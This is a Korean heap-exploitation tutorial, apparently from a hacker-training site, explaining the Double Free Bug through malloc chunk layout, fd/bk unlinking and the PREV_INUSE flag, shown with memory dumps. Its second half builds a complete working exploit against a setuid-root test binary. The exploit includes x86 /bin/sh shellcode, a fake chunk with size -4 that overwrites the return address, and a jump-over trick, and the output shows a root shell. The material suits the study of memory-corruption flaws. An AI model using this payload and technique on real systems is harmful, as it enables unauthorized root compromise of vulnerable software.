저장용 : 출처 : view-source:http://www.hackerschool.org/HS_Boards/data/Lib_system/dfb_leon.txt
해킹기법 (Double Free Bug)
Format String Bug 와 함께 제 3세대 해킹기법이라 불리우는 더블프리버그에 관하여 공부해보겠다.
본 기법은 Heap Base Overflow의 기법을 기본전제로 한다.(모르면 우선 공부하시고 오세용)
1. Heap 그 화려한 변신
우리는 앞서 Overflow기법을 공부함에 있어서 Heap영역의 Overflow를 공부한적이 있다.
그러나 Stack영역과는 달리 Heap영역의 Over는 우리가 원하는 권한획득과정에서 RET나 기타 ELF영역의 실행가능한 코드를 변조하는데 다소 어려움이 있었다. 이러한 이유로 인하여 Heap에대한 냉대(?)와 멸시(?)는 해커들 사이 공공연한 사실이였다...ㅋㅋㅋ
그러나 2002년초 냉대와 멸시에서 떨쳐일어나 Heap의 반란이 시작되는데...
2. free / malloc의 이해
프로그램중 Heap영역은 흔히 잠시 저장하였다가 프로그램흐름에 도움을 주는 아주 중요한 공간이다.
이러한 heap 영역의 정의는 calloc(), malloc(), realloc() 등의 함수를 통하여 구현되며 사용된 메모리를 반환 할때는 free() 함수로서 반환하게 된다.
잠시 man page를 보도록 하자..
$ man malloc
MALLOC(3) Linux Programmer's Manual MALLOC(3)
NAME
calloc, malloc, free, realloc - Allocate and free dynamic memory
SYNOPSIS
#include <stdlib.h>
void *calloc(size_t nmemb, size_t size);
void *malloc(size_t size);
void free(void *ptr);
void *realloc(void *ptr, size_t size);
DESCRIPTION
calloc() allocates memory for an array of nmemb elements of size bytes each and
returns a pointer to the allocated memory. The memory is set to zero.
malloc() allocates size bytes and returns a pointer to the allocated memory.
The memory is not cleared.
free() frees the memory space pointed to by ptr, which must have been returned by a
previous call to malloc(), calloc() or realloc(). Otherwise, or if free(ptr) has
already been called before, undefined behaviour occurs. If ptr is NULL, no operation
is performed.
~
~
~
GNU
(END)
man page에서도 볼수 있듯이 malloc함수는 동적으로 메모리를 할당(Allocate dynamic memory)해주는 함수 임을 알수있고 또한 메모리를 사용후 반환해주는 과정(Free dynamic memory)을 free함수를 거치면서 수행하게된다.
간단한 예제를 보도록 하자.
//test1.c
#include <stdio.h>
main(int argc, char *argv[])
{
char *mol;
mol = malloc(128);
if ( argc< 2)
{ fprintf(stderr, "error args\n" );
exit(0); }
strcpy( mol , argv[1] );
printf ("mol : %s , 0x%x\n",mol,mol);
free(mol);
}
$./test1 aaaa
mol : aaaa , 0x80497b8
간단하게 malloc 함수를 이용해서 heap영역 주소 0x80497b8 에 aaaa라는 스트링을 입력한것을 볼수 있었다.
3. malloc에 의한 동적메모리의 구조
자 그럼 malloc으로 구현된 메모리의 구조는 어떻게 생겨먹었을까?
우리의 영원한 분석도구 dumpcode.h를 이용하여 구경좀 해보자..
//test2.c
#include <stdio.h>
#include "dumpcode.h"
main(int argc, char *argv[])
{
char *mol1;
char *mol2;
mol1 = malloc(16);
mol2 = malloc(32);
if ( argc< 2)
{ fprintf(stderr, "error args\n" );
exit(0); }
strcpy( mol1 , argv[1] );
strcpy( mol2 , argv[2] );
dumpcode(mol2-28,64);
free(mol1);
dumpcode(mol2-28,64);
free(mol2);
dumpcode(mol2-28,64);
}
$./test2 AAAA BBBB
0x08049a74 19 00 00 00 41 41 41 41 00 00 00 00 00 00 00 00 ....AAAA........
0x08049a84 00 00 00 00 00 00 00 00 29 00 00 00 42 42 42 42 ........)...BBBB
0x08049a94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x08049aa4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
<<---------- free(mol1)전 heap의 구조
0x08049a74 19 00 00 00 18 ef 14 40 18 ef 14 40 00 00 00 00 .......@...@....
0x08049a84 00 00 00 00 18 00 00 00 28 00 00 00 42 42 42 42 ........(...BBBB
0x08049a94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x08049aa4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
<<---------- free(mol1)후 heap의 구조
0x08049a74 91 05 00 00 18 ef 14 40 18 ef 14 40 00 00 00 00 .......@...@....
0x08049a84 00 00 00 00 18 00 00 00 28 00 00 00 42 42 42 42 ........(...BBBB
0x08049a94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x08049aa4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
<<---------- free(mol2)후 heap의 구조
복잡한것 같으나 차근차근 보면 그다지 어렵지 않다.^^
우선 첫번째 dump를 보도록 하자. 다음과 같은 도식적인 구조를 볼수 있다.
[chunk(mol1)크기:dec16+8+1][mol1:16][junk:4][chunk(mol2)크기+8+1][mol2:16]...
음...우선 선언된 동적메모리는 위와 같이 [크기선언][할당공간] 으로 만들어 지는것을 볼수 있다. 이러한 heap공간의 메모리 할당 구역을 chunk라 한다.
그럼 두번째 free(mol1)에 의한 heap구조를 보도록 하자. free(mol1)에 의해서 mol1에 할당된 메모리는 반환되고 그공간에 어떤 포인터 값이 들어간것을 볼수 있는데 그 구조는 다음과 같이 도식적으로 구분할수있다.
[mol1 크기][fd:4][bk:4][...][mol1크기][mol2크기][data]...
여기서 우리는 fd 와 bk 의 역할을 살펴보도록 하자.
fd(Forward pointer to next chunk in list)는 다음 chunk를 가르키는 pointer 이고, bk(Back Pointer to previous chunk in list)는 이전 chunk를 가르키는 pointer 이다.
이렇게 heap공간에 할당되고 free된 형태에서 fd와 bk는 프로그램에서 free된 이전의 공간을 탐색해서 재 할당하는등 좀더 메모리를 효율적으로 관리하는 곳에 쓰이게 된다.
일단, 정리해서 살펴보면 이러한 구조를 가지게 된다.
[malloc1,2 선언]
[size1][data1][size2][data2].....
[free1 후]
[size1][fd][bk]...[size1][size2][data]
4. Free 메커니즘의 이해
자 앞서 구조를 대략 살펴 보았다, 본격적으로 free 함수에 의하여 생성된 fd,bk가 어떠한 역할을 하고 dubli linked
list에서 어떠한 방식으로 변경되는가를 살펴보도록 하자, 이부분은 DFB를 이해하는데 가장 중요한 핵심이라고 할 수 있으며, 이부분을 이해하는데 많은 시간을 투자하여야 할 것이라고 생각한다. 반드시 공격방법을 익히기 전에 이해하시기 바란다...(꼭!! -공격방법만 익혀서 써먹으면 뭔 소용이 있으랴.-)
//test3.c
#include <stdio.h>
#include "dumpcode.h"
main(int argc, char *argv[])
{
char *mol1;
char *mol2;
char *mol3;
mol1 = malloc(16);
mol2 = malloc(16);
mol3 = malloc(16);
if ( argc< 2)
{ fprintf(stderr, "error args\n" );
exit(0); }
strcpy( mol1 , argv[1] );
strcpy( mol2 , argv[2] );
strcpy( mol3 , argv[3] );
dumpcode(mol2-28,64);
free(mol1);
dumpcode(mol2-28,64);
free(mol2);
dumpcode(mol2-28,64);
free(mol3);
}
$./test3 AAAA BBBB CCCC
0x08049ab4 19 00 00 00 41 41 41 41 00 00 00 00 00 00 00 00 ....AAAA........
0x08049ac4 00 00 00 00 00 00 00 00 19 00 00 00 42 42 42 42 ............BBBB
0x08049ad4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x08049ae4 19 00 00 00 43 43 43 43 00 00 00 00 00 00 00 00 ....CCCC........
0x08049ab4 19 00 00 00 18 ef 14 40 18 ef 14 40 00 00 00 00 .......@...@....
0x08049ac4 00 00 00 00 18 00 00 00 18 00 00 00 42 42 42 42 ............BBBB
0x08049ad4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x08049ae4 19 00 00 00 43 43 43 43 00 00 00 00 00 00 00 00 ....CCCC........
0x08049ab4 31 00 00 00 30 ef 14 40 30 ef 14 40 00 00 00 00 1...0..@0..@....
0x08049ac4 00 00 00 00 18 00 00 00 18 00 00 00 42 42 42 42 ............BBBB
0x08049ad4 00 00 00 00 00 00 00 00 00 00 00 00 30 00 00 00 ............0...
0x08049ae4 18 00 00 00 43 43 43 43 00 00 00 00 00 00 00 00 ....CCCC........
다시 비슷한 덤프이다.(차근차근 안하면 중간에 헷갈려서 뭐가뭔지...^^)
이번에 우리가 눈여겨 보와야 하는것은 free의 메커니즘이다...즉, 병합과정을 공부해보려는것인데..
free(mol2)에 의해서 어떠한 일이 발생되었는가를 자세히 살펴보면, 우선 앞서 free된 size1의 크기가 변경되고,
fd,bk도 변경된것을 볼 수 있다. 그 증감은 size2의 크기와 동일한것을 볼수 있는데...이처럼, 앞선 메모리가 free되어있경우 재 사용가능한 블럭수를 줄이고, 크기를 늘리기 위해서 합병이 된다. 이러한 방식의 free메커니즘은 free가
호출될때마다 시행되며 하나로 합쳐지게 된다.
chunk의 합병은 PREV_INUSE라는 독특한 프래그를 체크하여 시행되는데 size의 최하위 비트가 바로 그넘이다.즉, 사이즈의 값을 구성하는 4byte중 하위 3bit는 독특한 역활을 하는데 나머지는 각자 공부해보시고 마지막 1bit의 값이 0이면 병합과정을 수행하게된다. (1이면?..앞chunk가 사용중인걸루 알지..)
(여기서 잠깐...bit입니다...byte가 아니구..8bit=1byte: 즉 2진수 값을 의미합니다. 헤깔리지 마시길^^)
자, 여기서 우리가 주목해야 할 부분은 앞에서 언급된 fd, bk 이다. 이 두가지의 포인터는 free과정에서 생성되며 두 값은 서로 치환 과정을 거치게 된다. 이때 만약 이넘을 어떻게든 변조 할 수 있다면.... 실로 재미난 일이 벌어질것 이다.
5. fd, bk 이쁜넘! (우리의 친구 포.인.터^^)
스택가드를 회피할때도 포인터는 우리의 친구였다..^^.
자 그럼 fd 와 bk가 어떤 일을 벌이는지 알아보도록 하자.
//test4.c
#include <stdio.h>
#include "dumpcode.h"
main(int argc, char *argv[])
{
char *mol1;
char *mol2;
int *fd, *bk;
mol1 = malloc(16);
mol2 = malloc(16);
fd = mol1; //<--- free후 fd의 위치
bk = mol1+4; //<--- free후 bk의 위치
if ( argc< 2)
{ fprintf(stderr, "error args\n" );
exit(0); }
strcpy( mol1 , argv[1] );
dumpcode(mol2-28,64);
free(mol1);
(*bk) +=16; //<--- 임의로 bk를 변경함
dumpcode(mol2-28,64);
free(mol2);
dumpcode(*fd,16);
dumpcode(*bk,16);
}
$./test4 aaaa
0x08049a94 19 00 00 00 61 61 61 61 00 00 00 00 00 00 00 00 ....aaaa........
0x08049aa4 00 00 00 00 00 00 00 00 19 00 00 00 00 00 00 00 ................
0x08049ab4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x08049ac4 41 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A...............
0x08049a94 19 00 00 00 18 ef 14 40 28 ef 14 40 00 00 00 00 .......@(..@....
0x08049aa4 00 00 00 00 18 00 00 00 18 00 00 00 00 00 00 00 ................
0x08049ab4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x08049ac4 41 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A...............
0x4014ef18 10 ef 14 40 10 ef 14 40 90 9a 04 08 28 ef 14 40 ...@...@....(..@
0x4014ef28 20 ef 14 40 20 ef 14 40 18 ef 14 40 28 ef 14 40 ..@ ..@...@(..@
자...멋지다... 위의 실행결과를 보면서 fd와 bk가 어떻게 작용하는가를 알아보도록 하자.
(한국xx들은 눈으로 봐야 믿어 - 김구라버젼^^)
test4에서는 앞서 공부한 free후 fd와 bk의 위치를 알아보고 그넘들이 가르키는 곳을 덤프해보았다.
또한 임의로 bk값을 변경하여 fd와 bk가 서로 어떠한 역활을 하는가를 알아보려한다.
fd = 0x4014ef18
bk = 0x4014ef28 (헷갈리니깐 임의로 변경했다)
fd : 0x4014ef18 10 ef 14 40 10 ef 14 40 90 9a 04 08 28 ef 14 40
우선 fd의 시작에서 +12 된 위치의 값을 보면 bk의 주소가 들어간것을 볼수 있다.
또, bk : 0x4014ef28 20 ef 14 40 20 ef 14 40 18 ef 14 40 28 ef 14 40
이번엔 bk의 시작에서 +8 된 위치의 값은 fd의 주소가 들어간것을 볼수 있다.
즉, free과정에서 생성되는 fd 는, fd가 가르키는 주소번지의 +12 되는곳에 bk 값을 넣게되고, bk는, bk가 가르키는 주소번지의 +8되는 곳에 fd의 값을 넣게된다는것을 알수 있다. 이러한 재미난 fd, bk의 치환과정은 우리가 heap영역을 공략하여 이전과 다르게 shell를 획득할 수있는 빌미를 제공한다.
여기서 현명한 독자들은 공격 방법을 구상할 것이다.
만약에 우리가 이두값을 마음데로 조정할 수 있다면 우리가 원하는 주소번지(RET등)에 특정값을 변조 할 수 있을 것이다. 예를 들어
fd 에 RET-12 위치로 변경하고 bk 를 shellcode 위치로 변경한다면 (여기서 bk 가르키는 곳의 +8 값도 변하므로 이를 회피하는 방법을 구상해야 하지만..일단) 우리는 heap 오버를 통하여 shell를 획득 할수 있을것이다.
즉,
....[fd:RETloc-12][bk:*shellcode].... 의 공격 코드로 ...
자..이제 공격하려는 대상은 탐색되었다... BUT..어떻게?
6. hacking 속임수의 미학
spoof 공격은 IP스푸핑에서부터 모든 해킹기법의 기본이다. RET를 변조하거나 기타 다른넘을 변조하는것도 일종의 메모리 Spoof 인것이다.(ㅋㅋㅋ 컴터를 속이자!!)
앞에서 공부한 free과정의 fd, bk는 우리가 heap영역을 공략하는데 있어서 메모리 값을 변경시킬수 있는 아주 중요한 공격목표이다, 하지만 앞서 덤프된 heap영역의 모습을 보면 아무리 BOF를 통해서 heap공간을 변조 시켜놓아도free이후에 fd와 bk는 생성되므로 우리가 만들어 놓은 공격코드는 아무런 소용이 없어진다. 즉, heap영역에서 정상적으로 생성되는 fd, bk 값은 우리가 입력을 통해서 변조할 수 없는 그림의 떡이다...쩝!
악~~~~ 그럼 어떻게 하라구....!!!
해킹은 속임수의 미학이라 했던가! 자 정상적인 free과정에서 생성된 fd, bk는 변조 하지 못한다면, 비정상적으로 생성된 fd, bk는 변조할 수 있다는 야그지...ㅋㅋㅋ 다음 그림을 잘보자..
[chunk 1][chunk2] ------------> [chunk1][.....spoof_chunk1-1.....][chunk2]
잘보았는가?....그럼 다음시간에....
곰곰히..고민해보시라...
------------------------------------------------------->> To be Countinued hackerleon
오랜만에 올립니다. 바뻐서리...
지난 시간에는 heap의 일반적인 구조와 Free메커니즘의 일반적인 형태를 알아보고 DFB 의 핵심인 fd, bk가 어떠한 방식으로 우리를 즐겁게 해줄수 있을지에 대한 부분을 알아보았다. 이번시간에는 실전적으로 fd와 bk를 어떻게 우리 맘데로 조정할 수 있을지에 대한부분을 공부해보도록 하자.
1. PREV_INUSE 프래그
앞선 시간에 우리는 PREV_INUSE에 관하여 조금 알아 보았다. 즉, 이넘의 역활은 이전의 chunk가 사용중인지 혹은 사용중이 아닌지를 표시해주는 넘이다.(기억 안나시믄 앞 강좌 보이소~)
이넘의 특성은 이전chunk가 사용중이면 "1" 이고 그렇치 않으면 "0" 으로 표시되게되며, 만약 앞선 chunk가 free되게 되면 그 다음 chunk는 이것을 검사하여("0"이면) 병합과정을 일으키게된다.
앞강좌의 test2 예제를 통해서 확인해보자.
//test2.c
#include <stdio.h>
#include "dumpcode.h"
main(int argc, char *argv[])
{
char *mol1;
char *mol2;
mol1 = malloc(16);
mol2 = malloc(32);
if ( argc< 2)
{ fprintf(stderr, "error args\n" );
exit(0); }
strcpy( mol1 , argv[1] );
dumpcode(mol2-28,64);
free(mol1);
dumpcode(mol2-28,64);
free(mol2);
}
$./test2 AAAA BBBB
<----- pre free(mol1)
0x08049a74 19 00 00 00 41 41 41 41 00 00 00 00 00 00 00 00 ....AAAA........
0x08049a84 00 00 00 00 00 00 00 00 29 00 00 00 42 42 42 42 ........)...BBBB
0x08049a94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x08049aa4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
<----- after free(mol1)
0x08049a74 19 00 00 00 18 ef 14 40 18 ef 14 40 00 00 00 00 .......@...@....
0x08049a84 00 00 00 00 18 00 00 00 28 00 00 00 42 42 42 42 ........(...BBBB
0x08049a94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x08049aa4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
덤프된 메모리를 살펴보면
[mol1크기:4][mol1:16][mol2크기:4][P][mol2:16]
이러한 형태임을 알수 있다. 여기서 최초 mol1의 크기를 나타내는 값은 19:HEX = 25:DEC 이 되고..
이때 25바이트는 mol1의 크기 16 + chunk_boundary + 4 + 1 인데 마직막 1비트가 mol1의 앞의 chunk상황을 알려준다.
(실제로 mol1앞은 아무것도 없다. 따라서 chunk가 사용중인걸로 즉, 병합과정이 없는것으로 인식되도록) 중요하게 보아야 할것은 두번째 chunk의 구조인데...
...[mol2크기:4][P]...
mol1이 free되기전의 값을 보면 29:HEX = 41:DEC = 101001:BIN 이다. 즉, mol2의 크기 32 + chunk_boundary + 4 + 1의 값을 가지고 있는데 이것은 mol1이 free되기전에 사용되고 있으므로 마직막 PREV_INUSE 값을 1로 넣은것이다.
이후 mol1이 free된후를 보자.
...[mol1크기][maol2크기][P]...
28:HEX = 40:DEC = 101000:BIN 이되어 PREV_INUSE 값을 변경시킨것을 볼수 있다(병합을 일으키기 위함)
이때, 우리는 Overflower를 통하여 이러한 값들을 조정 할 수 있다는 점을 명심하자.^^
2. Fake_chunk 맹글기
자, 앞서 우리는 PREV_INUSE 가 어떤식으로 작동되며 이넘이 free과정에서 메우 중요한 역활을 한다는것을 알아보았다. 그리고 이 모든 값들은 우리가 자유롭게 오버시켜서 우리 맘데로 주무를수도 있는 영역에 존재한다는 것도 알고 있다. 그럼 본격적으로 Fake_chunk를 만들어보도록 하자.
앞서 예제의 덤프에서
...[mol1크기][maol2크기][P]...
요기를 유심히 살펴보면 분명 free(mol1)이 된후에 mol1 의 크기를 확인하는 것을 볼 수 있다.
이때, mol1의 크기를 변화 시키면 어떻게 될까?
mol1의 크기는 16바이트 이지만 free(mol1) 이후 mol1의 크기를 음수로 정의 해준다면?...전체 chunk boundary 안에서 mol2의 병합이 이뤄지기 전에 mol2의 chunk 가 앞선 mol1의 크기를 음수값으로 인식한다면 우리는 실제 mol1과 mol2의 chunk 사이에 임의의 chunk를 만들어 낼 수 있을것이다.(어렵남?) 이부분을 반드시 이해하자!!!
다음을 보자.. 소스는 앞의 test2.c를 쓰도록 한다.
$ ./test2 `perl -e 'printf "A"x16 ; printf "\xfc\xff\xff\xff\xff\xff\xff\xff\xa4\x9a\x04\x08\xa4\x9a\x04\x08"'`
0x08049a74 19 00 00 00 41 41 41 41 41 41 41 41 41 41 41 41 ....AAAAAAAAAAAA
0x08049a84 41 41 41 41 fc ff ff cf ff ff ff ff 74 9a 04 08 AAAA........t...
0x08049a94 74 9a 04 08 00 00 00 00 00 00 00 00 00 00 00 00 t...............
0x08049aa4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x08049a74 15 00 00 00 10 ef 14 40 10 ef 14 40 41 41 41 41 .......@...@AAAA
0x08049a84 14 00 00 00 fc ff ff cf ff ff ff ff 74 9a 04 08 ............t...
0x08049a94 74 9a 04 08 00 00 00 00 00 00 00 00 00 00 00 00 t...............
0x08049aa4 00 00 00 00 00 00 00 00 74 9a 04 08 74 9a 04 08 ........t...t...
자~~~ 흥분된다...!!
우선 [mol1크기]와 [mol2크기] 에 해당하는 0xfffffffc 0xffffffff 는 조금 있다가 설명하도록 하고...우선 결과치를 보면서 흥분을 삭혀보자...ㅋㅋ
[mol1:16][0xfffffffc][0xffffffff][fack_fd][fack_bk] 로 입력한 공격코드로 인하여 해당 주소인 0x80049aa4 + 8 의 값과 + 12 의 값이 변경된것을 볼 수 있다 (왜 그런지 모르겠는분은 1강을 보라!) 그렇다면 우리는 우리가 원하는 RET 와 같은 민감한 부분도 변경 할 수 있다는 결론이 나온다. 와~..
여기서 0xfffffffc 는 뭐하는넘이냐?....계산기를 열어서 DEC "-4" 를 HEX로 바꿔 보시라..얼마나오는감?
0xfffffffffffffffc 이 나올것이다.. 바로 pre_size 를 -4로 변경 하여서 fack_chunk를 생성한것이다. 그럼
PREV_INUSE는?...또, 계산기 열어보시라 이놈을 BIN 값으로 변환 하면 1111111...11100 이 나오는것을 알수 있다..
따라서 chunk2는 정상적인 놈인줄 알고 병합과정을 수행하게되고 이때 임으로 만들어넣은 fd와 bk 값을 덮어쓰려 할 것이다. 따라서 위와 같은 멋진 공격방법이 성공 하게된것이다....바로 0xfffffffffffffffc 야 말로 두가지 조건 (1. pre_size를 음수로 2. PREV_INUSE 값을 0으로)를 충분히 만족 시키는 공격코드의 핵심이 된다.(-4, -6, ..기타등등 PREV_INUSE 값이 1만아니면 음수값은 다 될꺼당..그러나 앞으로는 헷갈리니깐 -4를 계속 쓰도록 한다.)
3. jump_ahead CODE 와 junk 들...
음...흥분을 가라앉히고 본격적으로 공격을 해보자.
위의 기초적인 공격 방법을 토대로 차근차근 공격을 해보면...우선 저번 1강에서의 fd,bk의 이쁜짓을 기억 하시라....『free과정에서 생성되는 fd 는, fd가 가르키는 주소번지의 +12 되는곳에 bk 값을 넣게되고, bk는, bk가 가르키는 주소번지의 +8되는 곳에 fd의 값을 넣게된다는것을 알수 있다.』...
자 그럼 다음과 같은 일반적인 공격코드를 생각할 수 있겠다.
..[mol1:16][0xfffffffc][0xffffffff][RET-12][shellcode위치]..
다음의 프로그램을 공략해보자.
//test5.c
#include <stdio.h>
#include "dumpcode.h"
main(int argc, char *argv[])
{
char *mol1;
char *mol2;
mol1 = malloc(160);
mol2 = malloc(16);
if ( argc< 2)
{ fprintf(stderr, "error args\n" );
exit(0); }
strcpy( mol1 , argv[1] );
dumpcode(mol2-172,192); // mol1좀 드려다 보자구!
dumpcdoe(&mol2,16); // RET 맞냐
free(mol1);
dumpcode(mol2-172,192); // free 후에도 보자구!
dumpcdoe(&mol2,16); // RET 변조됐나?
free(mol2);
}
우리는 다음과 같은 공격 코드를 작성 할 수 있을 것이다.
INPUT : [NOP][Shellcode]..[0xfffffffffffffffc][RET-12][*NOP]
어디 공격해보자.
RET : 0xbffff9dc
NOP : 0x08049a84
$ ./test5 `perl -e 'printf "\x90"x97;printf "\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";printf "\x41"x20;printf "\xfc\xff\xff\xff\xff\xff\xff\xff\xd0\xf9\xff\xbf\x84\x9a\x04\x08"'`
0x08049a74 a9 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x08049a84 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x08049a94 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x08049aa4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x08049ab4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x08049ac4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x08049ad4 90 90 90 90 90 eb 1d 5e 89 76 08 31 c0 88 46 07 .......^.v.1..F.
0x08049ae4 89 46 0c b0 0b 89 f3 8d 4e 08 31 d2 cd 80 b0 01 .F......N.1.....
0x08049af4 31 db cd 80 e8 de ff ff ff 2f 62 69 6e 2f 73 68 1......../bin/sh
0x08049b04 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x08049b14 41 41 41 41 fc ff ff ff ff ff ff ff d0 f9 ff bf AAAA............
0x08049b24 84 9a 04 08 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff9d0 20 9b 04 08 78 9a 04 08 18 fa ff bf 77 21 04 40 ...x.......w!.@
0x08049a74 a5 00 00 00 a0 ef 14 40 a0 ef 14 40 90 90 90 90 .......@...@....
0x08049a84 90 90 90 90 90 90 90 90 d0 f9 ff bf 90 90 90 90 ................
0x08049a94 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x08049aa4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x08049ab4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x08049ac4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x08049ad4 90 90 90 90 90 eb 1d 5e 89 76 08 31 c0 88 46 07 .......^.v.1..F.
0x08049ae4 89 46 0c b0 0b 89 f3 8d 4e 08 31 d2 cd 80 b0 01 .F......N.1.....
0x08049af4 31 db cd 80 e8 de ff ff ff 2f 62 69 6e 2f 73 68 1......../bin/sh
0x08049b04 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x08049b14 a4 00 00 00 fc ff ff ff ff ff ff ff d0 f9 ff bf ................
0x08049b24 84 9a 04 08 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff9d0 20 9b 04 08 78 9a 04 08 18 fa ff bf 84 9a 04 08 ...x...........
Illegal instruction (core dumped)
음...정확히 되었다.RET위치가 정확히 우리가 원하는 NOP로 변경된것을 보았다...그런데...이건또 뭐냐..
0x08049a84 90 90 90 90 90 90 90 90 d0 f9 ff bf 90 90 90 90
여기를 보면 bk +8 값역시 변경되어버린것을 볼 수 있다...즉 정확히 RET를 변조하여 NOP로 맞추었으나, 우리가 맞춘 그 주소의 +8 위치도 함께 변경되어버리므로 우리는 원하는 쉘코드까지 실행흐름을 끌고 갈수 없게 된다. 왠 날벼락...!! EGG를 이용하면 되지 않겠냐구?... EGG를 이용해도 위와 같이 우리가 RET의 주소를 변경시킬때 그 변경하는 주소의 + 8 값은 언제나 변하게 된다. 그렇다면 EGG가 뭔소용이랴...
BUT! 그러나 우리에게는 jumpcode가 있다....즉 변경된 RET 주소위치에 jumpcode를 삽입하여 bk로 인하여 변조된 값을 뛰어 넘어서 실행토록 변경하여주면 된다.
다시 공격코드를 보면
[junk1:12byte][jump ahead:2byte][junk2:10byte][NOP][shellcode][junk3][0xfffffffffffffffc][RET-12][*jump]
이와 같은 형태로 구현 할 수 있다.
-. junk1 : 본래의 mol1이 free될때 생성되는 fd, bk 값으로 변환(+4)
-. junk2 : fake_bk에 의하여 생성되는 값으로 변환
-. junk3 : fake_chunk에 의해서 생성되는 pre_size값으로 변환
-. jump ahead : 현위치에서 + 12 바이트 이상 점프(jumpcode:2byte포함) : "\xeb\x{ⓐ}" -- {ⓐ}만큼 jump
4. 실전 DFB
자 다되었다. 이제 실전으로 공격을 해보자 취약프로그램은 위의 test5를 사용한다.(덤프된모습을 보면서 테스트 해보세요)
$ ls -l test5
-rwsr-xr-x 1 root root 15135 Mar 10 14:10 test5
앞에서 설명된 공격코드를 만들어보자.
$./test5 `perl -e 'printf "A"x12;printf "\xeb\x0c";printf "B"x10;printf "\x90"x73;printf "\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";printf "C"x20;printf "\xfc\xff\xff\xff\xff\xff\xff\xff\xd0\xf9\xff\xbf\x84\x9a\x04\x08"'`
0x08049a74 a9 00 00 00 41 41 41 41 41 41 41 41 41 41 41 41 ....AAAAAAAAAAAA
0x08049a84 eb 0c 42 42 42 42 42 42 42 42 42 42 90 90 90 90 ..BBBBBBBBBB....
0x08049a94 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x08049aa4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x08049ab4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x08049ac4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x08049ad4 90 90 90 90 90 eb 1d 5e 89 76 08 31 c0 88 46 07 .......^.v.1..F.
0x08049ae4 89 46 0c b0 0b 89 f3 8d 4e 08 31 d2 cd 80 b0 01 .F......N.1.....
0x08049af4 31 db cd 80 e8 de ff ff ff 2f 62 69 6e 2f 73 68 1......../bin/sh
0x08049b04 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0x08049b14 43 43 43 43 fc ff ff ff ff ff ff ff d0 f9 ff bf CCCC............
0x08049b24 84 9a 04 08 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff9d0 20 9b 04 08 78 9a 04 08 18 fa ff bf 77 21 04 40 ...x.......w!.@
0x08049a74 a5 00 00 00 a0 ef 14 40 a0 ef 14 40 41 41 41 41 .......@...@AAAA
0x08049a84 eb 0c 42 42 42 42 42 42 d0 f9 ff bf 90 90 90 90 ..BBBBBB........
0x08049a94 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x08049aa4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x08049ab4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x08049ac4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x08049ad4 90 90 90 90 90 eb 1d 5e 89 76 08 31 c0 88 46 07 .......^.v.1..F.
0x08049ae4 89 46 0c b0 0b 89 f3 8d 4e 08 31 d2 cd 80 b0 01 .F......N.1.....
0x08049af4 31 db cd 80 e8 de ff ff ff 2f 62 69 6e 2f 73 68 1......../bin/sh
0x08049b04 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0x08049b14 a4 00 00 00 fc ff ff ff ff ff ff ff d0 f9 ff bf ................
0x08049b24 84 9a 04 08 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff9d0 20 9b 04 08 78 9a 04 08 18 fa ff bf 84 9a 04 08 ...x...........
sh-2.04#
오예!!! 앞서 만들어본 공격코드가 정확히 작동한것을 볼 수 있다...
